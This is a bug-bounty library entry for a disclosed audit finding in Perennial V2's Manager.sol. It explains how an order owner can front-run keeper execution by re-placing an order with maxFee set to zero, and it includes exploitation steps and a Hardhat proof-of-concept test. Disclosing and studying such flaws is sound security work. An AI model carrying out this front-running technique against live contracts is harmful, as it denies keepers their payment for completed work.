# Keepers can lose compensation fee

Order owner front-runs keeper execution by re-calling placeOrder with same orderId and maxFee=0, zeroing keeper compensation.

- Payout: Audit contest
- Severity: medium
- Program: Perennial
- Found by: Nyx
- Disclosed: 2024-08-17
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/79
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-08-perennial-v2-update-3%3AM-14
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:solidity technique:race-window vuln:business-logic

**Target:** Perennial V2 order manager (Manager.sol placeOrder / _raiseKeeperFee)
**Root cause:** placeOrder allows overwriting an existing orderId's order, including lowering maxFee; _raiseKeeperFee pays min(calculatedFee, maxFee), so a zeroed maxFee yields zero keeper compensation.
**Steps:**
1. User places order with orderId=501 and maxFee=0.88e18.
2. Before keeper executes, user calls `manager.placeOrder(market, 501, order)` with same order fields but `maxFee=0`.
3. Keeper executes order; `_raiseKeeperFee` computes `min(amount, maxFee)=0`, withdrawing nothing to keeper.
**How found:** Code review of _raiseKeeperFee's min(amount, maxFee) logic combined with placeOrder permitting order replacement by orderId; hypothesized front-running to lower maxFee.
**Exploitation:** Attacker monitors mempool for keeper executeOrder tx, front-runs with placeOrder on same orderId setting maxFee to 0, so keeper performs fulfillment but receives no compensation fee.
**Insight:** When a fee is capped by a user-controlled parameter that can be mutated after commitment, check whether the mutation path (same-ID replace) lets the payer front-run the payee's execution to zero the cap.

## Proof of concept (copied exactly from the original report)

**Test front-running keeper by lowering maxFee to zero**

```
it('test maxFee', async () => {
      // userA places a 5k maker order
      // maxFee is 0.88e18
      const orderId = await placeOrder(userA, Side.MAKER, Compare.LTE, parse6decimal('3993.6'), parse6decimal('55'))
      expect(orderId).to.equal(BigNumber.from(501))

      const order = {
        side: Side.MAKER,
        comparison: Compare.LTE,
        price: parse6decimal('3993.6'),
        delta: parse6decimal('55'),
        maxFee: utils.parseEther('0'),
        isSpent: false,
        referrer: constants.AddressZero,
        ...NO_INTERFACE_FEE,
      }
      //before the keepers tx, userA changes the maxFee
      await expect(manager.connect(userA).placeOrder(market.address, orderId, order, TX_OVERRIDES))

      await commitPrice(parse6decimal('2800'))

      await executeOrder(userA, 501)
    })
```

**placeOrder allows overwriting order with lower maxFee**

```
function placeOrder(IMarket market, uint256 orderId, TriggerOrder calldata order) external {
        _placeOrder(market, msg.sender, orderId, order);
        
    }
```

